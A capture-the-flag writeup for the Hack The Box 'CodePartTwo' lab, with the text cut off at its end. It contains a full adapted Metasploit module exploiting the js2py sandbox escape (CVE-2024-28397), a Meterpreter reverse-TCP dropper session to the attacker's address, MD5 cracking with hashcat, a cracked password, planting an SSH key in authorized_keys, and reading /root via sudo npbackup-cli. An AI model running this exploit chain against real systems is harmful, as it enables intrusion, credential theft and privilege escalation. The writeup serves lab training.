HTB CodePartTwo writeup
A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”CodePartTwo was a Linux box exposing a web application that could run JavaScript. The distributed ZIP listed js2py==0.74. After registering a web account, a sandbox escape payload sent to POST /run_code yielded a shell as app. Next, an MD5 hash for marco stored in SQLite was cracked, allowing a switch to the OS user marco. Finally, the NOPASSWD-enabled npbackup-cli loaded a configuration that included /root/; /root/root.txt was read from the snapshot it created as root. Obtaining a root shell was not recorded.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | CodePartTwo |
| Platform | Hack The Box |
| OS | Linux, Ubuntu 20.04.6 LTS |
| Difficulty | Easy |
Attack Chain
Section titled “Attack Chain”Attacking machine | | HTTP enumeration and the distributed ZIP reveal js2py==0.74 vauthenticated POST /run_code on codeparttwo.htb:8000 | | register and log in as pwn; send CVE-2024-28397 as JSON code vapp@codeparttwo | | crack marco's MD5 from users.db with hashcat -m 0; su - marco vmarco@codeparttwo | | pass NOPASSWD npbackup-cli a config containing /root/; run -b vsnapshot 52a4bb12 created as root | | sudo npbackup-cli --dump /root/root.txt vread the protected root file /root/root.txtTarget Details
Section titled “Target Details”At the time of the recording, the target IP was 10.129.232.59, the web hostname was codeparttwo.htb, and the attacking VPN address was 10.10.16.45. The IP could change when the lab restarted. For name resolution, the following entry was added to the attacking machine’s /etc/hosts.
sudo vim /etc/hosts10.129.232.59 codeparttwo.htbThe OS was confirmed from the banner after SSH login.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)Initial Enumeration
Section titled “Initial Enumeration”TCP scan
Section titled “TCP scan”Scan all TCP ports.
nmap -sS -A -p- --min-rate 10000 10.129.232.59Nmap scan report for 10.129.232.59Host is up (0.29s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)8000/tcp open http Gunicorn 20.0.4|_http-server-header: gunicorn/20.0.4|_http-title: Welcome to CodePartTwoOS details: Linux 4.15 - 5.1922/tcpran OpenSSH 8.2p1. No usable credentials were available yet.8000/tcpran Gunicorn 20.0.4, and the page title matched the box name.- Only these two ports were exposed, so the web application was the next place to inspect.
- nmap estimated a broad kernel range of
Linux 4.15 - 5.19. The later SSH banner identified Ubuntu 20.04.6 LTS and5.4.0-216-generic.
HTTP surface
Section titled “HTTP surface”Check the home page and authentication forms from the attacking machine.
curl -i http://codeparttwo.htb:8000/curl -i http://codeparttwo.htb:8000/logincurl -i http://codeparttwo.htb:8000/registerHTTP/1.1 200 OKServer: gunicorn/20.0.4<title>Welcome to CodePartTwo</title><a href="/login" class="cta-button">Login</a><a href="/register" class="cta-button">Register</a><a href="/download" class="cta-button">Download App</a>
<form action="/login" method="POST"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required></form>
<form method="POST"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required></form>The home page advertised JavaScript creation and execution, as well as a /download link for the application that was available before login. Since /register allowed a new web account, the execution feature could be tested before finding credentials for an existing user.
Download App
Section titled “Download App”Download and extract the ZIP on the attacking machine. The recorded command used -i, which prepended 315 bytes of response headers. unzip warned about the extra data but extracted the archive successfully.
curl -iOL http://codeparttwo.htb:8000/downloadfile downloadunzip downloaddownload: Zip archive, with extra data prependedwarning [download]: 315 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: app/app.py inflating: app/requirements.txt inflating: app/instance/users.dbFor a fresh download, omit -i. The extracted requirements.txt listed this dependency:
js2py==0.74This version suggested investigating CVE-2024-28397. However, there is no record of reviewing the full distributed app.py implementation. The entry point was chosen based on the dependency and the HTTP requests and responses in the next section.
Web Exploitation
Section titled “Web Exploitation”Registration, Login, and the Code Execution API
Section titled “Registration, Login, and the Code Execution API”Install and start Freja on the attacking machine. Running freja without arguments opens its TUI and listens as an HTTP proxy on local 127.0.0.1:8080.
cargo install frejafrejaIn Firefox, open Settings, then Network Settings, then Manual proxy configuration. Set the HTTP proxy host to localhost and port to 8080. Freja’s TUI can then inspect traffic from Firefox to the box’s HTTP site. Press c to continue a paused request.
Register test:test in the browser, log in, and capture the HTTP traffic with Freja. test was a newly created web account.
POST /register HTTP/1.1Host: codeparttwo.htb:8000Content-Type: application/x-www-form-urlencodedContent-Length: 27
username=test&password=testRegistration redirected to GET /login. Log in with the same credentials.
POST /login HTTP/1.1Host: codeparttwo.htb:8000Content-Type: application/x-www-form-urlencodedContent-Length: 27Origin: http://codeparttwo.htb:8000Referer: http://codeparttwo.htb:8000/login
username=test&password=testAfter login, the dashboard returned 200 with a session cookie.
GET /dashboard HTTP/1.1Host: codeparttwo.htb:8000Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4CoHTTP/1.1 200 OKServer: gunicorn/20.0.4Date: Fri, 25 Sep 2026 12:06:46 GMTVary: CookieContent-Type: text/html; charset=utf-8Content-Length: 1669
<title>CodePartTwo Dashboard</title>...<h1>Dashboard</h1><p>Create, save, run, and manage your JavaScript code with CodePartTwo.</p><a href="/logout" class="cta-button">Logout</a>The cookie payload eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ decoded to {"user_id":3,"username":"test"}. Later, the SQLite row for test had id=3.
Entering var x = 16;\nx; in the dashboard and clicking Run Code sent this request:
POST /run_code HTTP/1.1Host: codeparttwo.htb:8000Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4CoContent-Type: application/jsonContent-Length: 26Origin: http://codeparttwo.htb:8000Referer: http://codeparttwo.htb:8000/dashboard
{ "code": "var x = 16;\nx;"}HTTP/1.1 200 OKServer: gunicorn/20.0.4Date: Fri, 25 Sep 2026 12:08:48 GMTContent-Length: 14Content-Type: application/json
{ "result": 16}Freja’s TUI showed the same /run_code exchange as follows. The display was narrowed, and only the lines needed for analysis were transcribed.
┌Flows [1 Traffic] mode=Pretty layout=Split────────────────────────────┐│> HTTP live POST http://codeparttwo.htb:8000/run_code HTTP/1.1 │└───────────────────────────────────────────────────────────────────────┘┌Request [Pretty]──────────────────────┐┌Response [Pretty]──────────────┐│POST /run_code HTTP/1.1 ││HTTP/1.1 200 OK ││content-type: application/json ││content-type: application/json ││{"code":"var x = 16;\nx;"} ││{"result":16} │└──────────────────────────────────────┘└───────────────────────────────┘The JavaScript input went into the JSON code key and was evaluated by the server-side /run_code endpoint. This API and js2py==0.74 together justified testing CVE-2024-28397.
The PyLoad Metasploit module exploit/linux/http/pyload_js2py_cve_2024_39205 contained JavaScript for the same js2py escape. On this box, send {"code": ...} to authenticated POST /run_code.
Adapting the Metasploit Module
Section titled “Adapting the Metasploit Module”Reuse the js2py escape JavaScript from the existing PyLoad module, but adapt its HTTP calls to this box: port 8000, authenticated POST /run_code, and a JSON code body. PyLoad-specific /flash/addcrypted2, Host: 127.0.0.1, and crypted / jk were not used.
The first attempt registered and logged in on every execute_command, repeating the work during AutoCheck and CmdStager. The final version called authenticate from the entry points of check and exploit, authenticating once per run. Its success test remained inherited from the original module: execute_command did not count the HTTP 200 JSON returned by a successful /run_code call as success. The failed check result came from that response test; the later session confirmed code execution.
The following is the complete module actually used. Save it as htb_codeparttwo.rb on the Metasploit module search path, then load exploit/linux/http/htb_codeparttwo. The original PyLoad name, description, references, and Privileged => true remained, but the vulnerability used on this box was js2py CVE-2024-28397, and the shell ran as app.
### This module requires Metasploit: https://metasploit.com/download# Original source: https://github.com/rapid7/metasploit-framework## Derived from:# modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb## Modified for the Hack The Box CodePartTwo lab.## Metasploit Framework is distributed under the BSD 3-Clause License.##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager189 collapsed lines
def initialize(info = {}) super( update_info( info, 'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)', 'Description' => %q{ CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 is the latest version of js2py which was released Nov 6, 2022.
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source download manager designed to automate file downloads from various online sources. Pyload is vulnerable because it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we can bypass this restriction in order to access the API to achieve unauth RCE. }, 'Author' => [ 'Marven11', # PoC 'Spencer McIntyre', # Previous pyLoad module which this is based on 'jheysel-r7' # Metasploit module ], 'References' => [ [ 'CVE', '2024-39205' ], [ 'CVE', '2024-28397' ], [ 'EDB', '52532' ], [ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ], [ 'GHSA', 'w7hq-f2pj-c53g', 'pyload/pyload' ], [ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ], ], 'DisclosureDate' => '2024-10-28', 'License' => MSF_LICENSE, 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ], ], 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) )
register_options([ Opt::RPORT(8000), OptString.new('USERNAME', [true, 'Username', 'pwn']), OptString.new('PASSWORD', [true, 'Password', 'pwn']), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end
def check authenticate sleep_time = rand(5..10)
_, elapsed_time = Rex::Stopwatch.elapsed_time do execute_command("sleep #{sleep_time}") end
vprint_status("Elapsed time: #{elapsed_time} seconds")
unless elapsed_time > sleep_time return CheckCode::Safe('Failed to test command injection.') end
CheckCode::Vulnerable('Successfully tested command injection.') rescue Msf::Exploit::Failed return CheckCode::Safe('Failed to test command injection.') end
def exploit authenticate print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type'] when :unix_cmd if execute_command(payload.encoded) print_good("Successfully executed command: #{payload.encoded}") end when :linux_dropper execute_cmdstager end end
def javascript_payload(cmd) js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
js = <<~EOS let #{js_vars[:command]} = "#{cmd}" let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]} let #{js_vars[:getattr]}, #{js_vars[:obj]}
#{js_vars[:base]} = '__base__' #{js_vars[:getattribute]} = '__getattribute__' #{js_vars[:hacked]} = Object.getOwnPropertyNames({}) #{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}] #{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__") #{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}] #{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}] #{js_vars[:sub_class]} = '__subclasses__';
function #{js_vars[:findpopen]}(#{js_vars[:o]}) { let #{js_vars[:result]}; for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) { let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}] if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") { return #{js_vars[:item]} } if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) { return #{js_vars[:result]} } } }
#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate() EOS
opts = { 'Strings' => true }
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate(memory_sensitive: true) js.to_s end
def execute_command(cmd, _opts = {}) cmd.gsub!(/\\/, '\\\\\\\\') cmd.gsub!(/"/, '\"') vprint_status("Executing command: #{cmd}") crypted_b64 = Rex::Text.encode_base64(rand(4))
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run_code'), 'ctype' => 'application/json', 'data' => { 'code' => javascript_payload(cmd) }.to_json )
# The command will either cause the response to timeout or return a 500 return if res.nil? return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :('
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}") end
def authenticate return if @authenticated
user = datastore['USERNAME'] pass = datastore['PASSWORD']
send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'register'), 'vars_post' => { 'username' => user, 'password' => pass } )
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login'), 'vars_post' => { 'username' => user, 'password' => pass }, 'keep_cookies' => true ) fail_with(Failure::NoAccess, 'login failed') if res.nil?
vprint_status("Register and Login Success: #{user}:#{pass}")
@authenticated = true end
endjavascript_payload searched Python’s type hierarchy for subprocess.Popen to run a command. authenticate retained the cookie after logging in, but did not check the login response content. The original PyLoad execute_command treated only a timeout or a particular HTTP 500 response as success, so check reported failure when /run_code returned HTTP 200 JSON. This test was not fixed in the final version.
Run the module from Metasploit on the attacking machine. It registered and used pwn:pwn; LHOST was the attacking VPN address.
msf > use exploit/linux/http/htb_codeparttwomsf exploit(linux/http/htb_codeparttwo) > run verbose=true rhosts=10.129.232.59 lhost=10.10.16.45 forceexploit=true[*] Register and Login Success: pwn:pwn[*] Executing command: sleep 10[!] The target is not exploitable. Failed to test command injection. ForceExploit is enabled, proceeding with exploitation.[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp[*] Transmitting intermediate stager...(126 bytes)[*] Sending stage (3106788 bytes) to 10.129.232.59[*] Meterpreter session 1 opened (10.10.16.45:4444 -> 10.129.232.59:37818)[*] Command Stager progress - 100.00% done (823/823 bytes)meterpreter >ForceExploit continued after check, and the Meterpreter session confirmed successful execution. CmdStager temporarily placed /tmp/hcRRI.b64 and /tmp/iboRV and attempted to remove them at the end of its generated command.
Credential Reuse
Section titled “Credential Reuse”The app Shell and SQLite
Section titled “The app Shell and SQLite”Open a shell from Meterpreter and upgrade it to a pseudo-terminal.
meterpreter > shellpython3 -c 'import pty; pty.spawn("/bin/bash")'ls -lals -la /homecat /etc/passwd | grep 'sh$'Process 1597 created.Channel 1 created.app@codeparttwo:~/app$total 32drwxrwxr-x 6 app app 4096 Sep 1 2025 .drwxr-x--- 5 app app 4096 Apr 6 2025 ..drwxr-xr-x 2 app app 4096 Sep 1 2025 __pycache__-rw-r--r-- 1 app app 3679 Sep 1 2025 app.pydrwxrwxr-x 2 app app 4096 Sep 25 13:21 instance-rw-rw-r-- 1 app app 49 Jan 17 2025 requirements.txtdrwxr-xr-x 4 app app 4096 Sep 1 2025 staticdrwxr-xr-x 2 app app 4096 Sep 1 2025 templates
total 16drwxr-xr-x 4 root root 4096 Jan 2 2025 .drwxr-xr-x 18 root root 4096 Nov 16 2024 ..drwxr-x--- 5 app app 4096 Apr 6 2025 appdrwxr-x--- 6 marco marco 4096 Sep 25 13:30 marco
root:x:0:0:root:/root:/bin/bashmarco:x:1000:1000:marco:/home/marco:/bin/bashapp:x:1001:1001:,,,:/home/app:/bin/bashThe web process ran as app. Another user, marco, could log in. The application worked from /home/app/app.
ls templatesls staticls instancefile instance/users.dbbase.html dashboard.html index.html login.html register.htmlapp.zip css jsusers.dbinstance/users.db: SQLite 3.x database, last written using SQLite version 3031001The running target’s templates directory lacked reviews.html, although it appeared in the distributed ZIP. The credentials were stored in instance/users.db.
sqlite3 instance/users.dbSQLite version 3.31.1 2020-01-27 19:55:54Enter ".help" for usage hints..tables.schema userselect * from user;.exitcode_snippet userCREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(80) NOT NULL, password_hash VARCHAR(128) NOT NULL, PRIMARY KEY (id), UNIQUE (username));1|marco|649c9d65a206a75f5abe509fe128bce52|app|a97588c0e2fa3a024876339e27aeb42e3|test|098f6bcd4621d373cade4e832627b4f64|pwn|e4a25f7b052442a076b02ee9a1818d2etest and pwn were registered during this investigation; marco was an existing user. The test row’s id=3 matched the dashboard cookie’s user_id. Each password_hash was a 32-character hexadecimal value. The hash of the chosen password test, 098f6bcd4621d373cade4e832627b4f6, is the known MD5 value for test, supporting an MD5 interpretation of the column.
Save marco’s hash to a file on the attacking machine and inspect its format.
printf '%s\\n' '649c9d65a206a75f5abe509fe128bce5' > hashhashid hashAnalyzing '649c9d65a206a75f5abe509fe128bce5'[+] MD5[+] NTLMA 32-character hexadecimal value alone does not identify the hash algorithm. But the stored hash for the newly registered test matched MD5(test), so the marco row was treated as MD5 too.
Run a dictionary attack against marco’s hash with MD5 (mode 0) on the attacking machine. The cracking log was not retained, so the following is a reproduction command. The later successful su confirms that the plaintext password worked.
hashcat -m 0 hash /usr/share/wordlists/rockyou.txtTrying sweetangelbabylove for the OS account marco succeeded with su. The password corresponding to the hash in the SQLite marco row was reused for the OS account.
su - marcoPassword: sweetangelbabylovemarco@codeparttwo:~$ls -lacat user.txttotal 44drwxr-x--- 6 marco marco 4096 Sep 25 13:45 .drwxr-xr-x 4 root root 4096 Jan 2 2025 ..drwx------ 7 root root 4096 Apr 6 2025 backupslrwxrwxrwx 1 root root 9 Oct 26 2024 .bash_history -> /dev/null-rw-r--r-- 1 marco marco 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 marco marco 3771 Feb 25 2020 .bashrcdrwx------ 2 marco marco 4096 Apr 6 2025 .cachedrwxrwxr-x 4 marco marco 4096 Feb 1 2025 .locallrwxrwxrwx 1 root root 9 Nov 17 2024 .mysql_history -> /dev/null-rw-rw-r-- 1 root root 2893 Jun 18 2025 npbackup.conf-rw-r--r-- 1 marco marco 807 Feb 25 2020 .profilelrwxrwxrwx 1 root root 9 Oct 26 2024 .python_history -> /dev/nulllrwxrwxrwx 1 root root 9 Oct 31 2024 .sqlite_history -> /dev/nulldrwx------ 2 marco marco 4096 Oct 20 2024 .ssh-rw-r----- 1 root marco 33 Sep 25 11:40 user.txt
[REDACTED]user.txt was owned by root:marco and readable by marco. backups was accessible only to root, and npbackup.conf was root-owned but world-readable. The history files were linked to /dev/null.
Switching to SSH
Section titled “Switching to SSH”The PTY through Meterpreter was awkward to use, so switch to SSH as marco. First, generate an ed25519 key pair on the attacking machine. No log of the key-generation command was retained, so the following steps show how to reproduce it.
ssh-keygen -t ed25519 -f ./codeparttwocat ./codeparttwo.pubThe public key used in the recording was the following line. For reproduction, use the contents of a newly generated .pub file.
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvCThe public key was written to marco’s authorized_keys on the target. The original file was empty. The echo below uses the recorded key; replace it with your own public key when reproducing the steps.
On the target:
cd .sshls -laecho 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC' > authorized_keysls -latotal 8drwx------ 2 marco marco 4096 Oct 20 2024 .drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..-rw------- 1 marco marco 0 Oct 20 2024 authorized_keys
total 12drwx------ 2 marco marco 4096 Oct 20 2024 .drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..-rw------- 1 marco marco 81 Sep 25 14:31 authorized_keysOn the attacking machine:
ssh -i ./codeparttwo marco@codeparttwo.htbThe authenticity of host 'codeparttwo.htb (10.129.232.59)' can't be established.ED25519 key fingerprint is: SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'codeparttwo.htb' (ED25519) to the list of known hosts.Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
System information as of Fri 25 Sep 2026 02:32:09 PM UTC
System load: 0.0 Usage of /: 57.7% of 5.08GB Memory usage: 23% Swap usage: 0% Processes: 222 Users logged in: 0 IPv4 address for eth0: 10.129.232.59 IPv6 address for eth0: dead:beef::a0de:adff:fe8e:c1f
Last login: Fri Sep 25 14:32:10 2026 from 10.10.16.45marco@codeparttwo:~$This provided a normal TTY as marco. Privileges remained those of marco.
Privilege Escalation
Section titled “Privilege Escalation”sudo and npbackup-cli
Section titled “sudo and npbackup-cli”sudo -lMatching Defaults entries for marco on codeparttwo: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo: (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cliThe sudo rule named only the binary; its arguments were unrestricted. The help output as marco showed -c for selecting a configuration and --ls / --dump for reading backup contents.
npbackup-cli -husage: npbackup-cli [-c CONFIG_FILE] [-b] [--ls [LS]] [--forget FORGET] [--dump DUMP]-b created a backup, --ls listed its contents, and --dump wrote a specified file to standard output. Combined with unrestricted sudo arguments, these options let marco process a chosen backup source as root.
sudo npbackup-clisudo npbackup-cli -c npbackup.conf2026-09-25 14:01:43,379 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root2026-09-25 14:01:43,379 :: CRITICAL :: Cannot run without configuration file.2026-09-25 14:01:43,385 :: INFO :: ExecTime = 0:00:00.008369, finished, state is: critical.
2026-09-25 14:02:02,393 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root2026-09-25 14:02:02,414 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf2026-09-25 14:02:02,421 :: WARNING :: No operation has been requested. Try --help2026-09-25 14:02:02,425 :: INFO :: ExecTime = 0:00:00.034251, finished, state is: warnings.The log showed npbackup 3.0.1 running as root. Without a configuration, it reported Cannot run without configuration file.; with /home/marco/npbackup.conf, it reported Loaded config 4E3B3BFD. No operation was requested, so no backup was created at this point.
The original configuration contained encrypted repo_uri and repo_password values under repos.default, and its only backup paths entry was /home/app/app/. The relevant settings, including the later size error threshold, were:
repos: default: repo_uri: <existing encrypted value> backup_opts: paths: - /home/app/app/ repo_opts: repo_password: <existing encrypted value>groups: default_group: backup_opts: minimum_backup_size_error: 10 MiBnpbackup.conf was owned by root and not writable by marco. The record shows its contents copied to /tmp/npbackup.conf before changing paths. Preserve the original encrypted values when reproducing the steps.
Checking the Existing Snapshot
Section titled “Checking the Existing Snapshot”The command that created /tmp/npbackup.conf was not recorded. To reproduce it, copy the original configuration as marco, preserving the encrypted repository details.
cp /home/marco/npbackup.conf /tmp/npbackup.confsudo npbackup-cli -c /tmp/npbackup.conf --lsLoaded config 4E3B3BFD in /tmp/npbackup.confShowing content of snapshot latest in repo defaultsnapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []:/home/app/app/instance/users.dbOperation finishedConfiguration hash 4E3B3BFD matched the original npbackup.conf, and the latest snapshot at this point contained only /home/app/app. It could not be used to read /root/root.txt.
Backup and Dump After Adding /root/
Section titled “Backup and Dump After Adding /root/”Add /root/ to paths in /tmp/npbackup.conf on the target. Keep the original encrypted repo_uri and repo_password unchanged.
backup_opts: paths: - /home/app/app/ - /root/ source_type: folder_listRun the backup with sudo as marco. This changed state by adding a snapshot.
sudo npbackup-cli -c /tmp/npbackup.conf -bnpbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as rootLoaded config 73199EB2 in /tmp/npbackup.confRunning backup of ['/home/app/app/', '/root/'] to repo defaultERROR :: Exclude file 'excludes/generic_excluded_extensions' not foundWARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windowsprocessed 27 files, 246.625 KiB in 0:00snapshot 52a4bb12 savedBackend finished with successERROR :: Backup is smaller than configured minmium backup sizeERROR :: Operation finished with failureExecTime = 0:00:03.421497, finished, state is: errors.The configuration hash changed from 4E3B3BFD to 73199EB2, and the source included /root/. The final state was errors because an exclude file was missing and the backup was below the 10 MiB minimum, but snapshot 52a4bb12 saved appeared first. Check whether it was saved with --ls.
sudo npbackup-cli -c /tmp/npbackup.conf --lsLoaded config 73199EB2 in /tmp/npbackup.confShowing content of snapshot latest in repo defaultsnapshot 52a4bb12 of [/home/app/app /root] at 2026-09-25 14:38:14.885922018 +0000 UTC by root@codeparttwo filtered by []:/root/root/root.txtOperation finished, state is: success.The latest snapshot had changed to the new one and included /root/root.txt. --dump wrote its contents to standard output.
sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt[REDACTED]This demonstrated a read of a protected file from a snapshot created with root privileges. A root shell was not recorded.
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”templates/reviews.htmlappeared in the distributed ZIP but was absent from/home/app/app/templateson the target. Given the difference between the archive and the running application, the observed/run_codeendpoint was used as the entry point.- Metasploit
checkdisplayedFailed to test command injectionbecause the original module did not treat a successful HTTP 200 JSON response as success. The established session was the evidence of execution. /home/marco/backupswas owned by root with modedrwx------and could not be read directly bymarco. The snapshot was inspected withsudo npbackup-cli --ls.npbackup-cli --lsshowed the contents of stored snapshots, not the configuration file’spaths. Merely adding/root/to the configuration would not make it appear in--ls. A backup had to be run once as root with-b, saved, and then checked with--ls.
Cleanup Notes
Section titled “Cleanup Notes”There is no record of running or verifying cleanup. The following lists observed state changes and restoration plans. All verification results are unconfirmed.
- Attacking machine
/etc/hosts- Change: Added
10.129.232.59 codeparttwo.htb. - Original state: Not recorded.
- Restoration plan: Remove the added line.
- Verification: Not confirmed.
- Change: Added
- Freja and Firefox proxy settings on the attacking machine
- Change: Installed Freja with
cargo install frejaand set Firefox’s HTTP proxy tolocalhost:8080. - Original state: Freja installation and Firefox settings not recorded.
- Restoration plan: Stop Freja and restore Firefox’s proxy settings. Uninstall with
cargo uninstall frejaonly if it was installed specifically for this run. - Verification: Not confirmed.
- Change: Installed Freja with
- Distributed ZIP, extracted files, and hash input file on the attacking machine
- Change: Downloaded and extracted the ZIP from
/download, then savedmarco’s hash to a file for cracking. - Original state: Not recorded.
- Restoration plan: Remove files created for the investigation.
- Verification: Not confirmed.
- Change: Downloaded and extracted the ZIP from
- Web accounts
testandpwn- Change: Added rows to the
usertable inusers.dbwithPOST /register(id=3wastestandid=4waspwnwhen observed). - Original state: The table before registration was not checked. Rows for
marcoandappwere also present when observed. - Restoration plan: Reset the target or delete those rows from SQLite.
- Verification: Not confirmed.
- Change: Added rows to the
/tmp/gvaeT.b64,/tmp/BkjMB,/tmp/hcRRI.b64, and/tmp/iboRV- Change: The Linux Dropper command stager placed and ran a temporary ELF. The generated command ended with
rm -f. - Original state: Not recorded. It was not confirmed whether the deletion at the end of the generated command succeeded.
- Restoration plan: If files remain, run
rm -f /tmp/gvaeT.b64 /tmp/BkjMB /tmp/hcRRI.b64 /tmp/iboRV. - Verification: Not confirmed.
- Change: The Linux Dropper command stager placed and ran a temporary ELF. The generated command ended with
/home/marco/.ssh/authorized_keys- Change: Overwrote an empty file (0 bytes) with an 81-byte ed25519 public key from the attacking machine.
- Original state:
-rw------- 1 marco marco 0 Oct 20 2024 authorized_keys. - Restoration plan: Run
truncate -s 0 /home/marco/.ssh/authorized_keysor restore the original empty file. - Verification: Not confirmed.
- SSH key pair on the attacking machine
- Change: Used box-specific
./codeparttwoand./codeparttwo.pubfor SSH. - Original state: The state before key generation was not recorded.
- Restoration plan: Delete both files if they were generated specifically for this run.
- Verification: Not confirmed.
- Change: Used box-specific
/tmp/npbackup.conf- Change: Copied the home-directory configuration, added
/root/topaths, and used it for the sudo backup. - Original state: Prior existence of this path was not recorded.
- Restoration plan: Run
rm -f /tmp/npbackup.conf. - Verification: Not confirmed.
- Change: Copied the home-directory configuration, added
- npbackup snapshot
52a4bb12- Change:
sudo npbackup-cli -c /tmp/npbackup.conf -badded a snapshot containing/home/app/appand/root. The older35a4dac3already existed. - Original state: Latest was
35a4dac3(only/home/app/app,root@codetwo, 2025-04-06). - Restoration plan: Try
sudo npbackup-cli -c /home/marco/npbackup.conf --forget 52a4bb12, then check with--lswhether latest has returned to its original contents. This was not run in the record. - Verification: Not confirmed.
- Change:
- Attacking machine SSH
known_hosts- Change: Added the ED25519 fingerprint
SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4forcodeparttwo.htb. - Original state: No entry for this hostname was recorded.
- Restoration plan: Remove the relevant entry.
- Verification: Not confirmed.
- Change: Added the ED25519 fingerprint
Credentials and Artifacts
Section titled “Credentials and Artifacts”- Web
test/test- Obtained by: Registered through
POST /register. - Account: Application
usertable,id=3. - First used:
POST /loginandGET /dashboard. - Access enabled:
POST /run_codewith a session cookie. Hash:098f6bcd4621d373cade4e832627b4f6(MD5(test)).
- Obtained by: Registered through
- Web
pwn/pwn- Obtained by: Metasploit
authenticatecalledPOST /register. - Account:
usertable,id=4. - First used:
POST /loginin the same function (withkeep_cookies). - Access enabled: A session for sending CVE-2024-28397 to
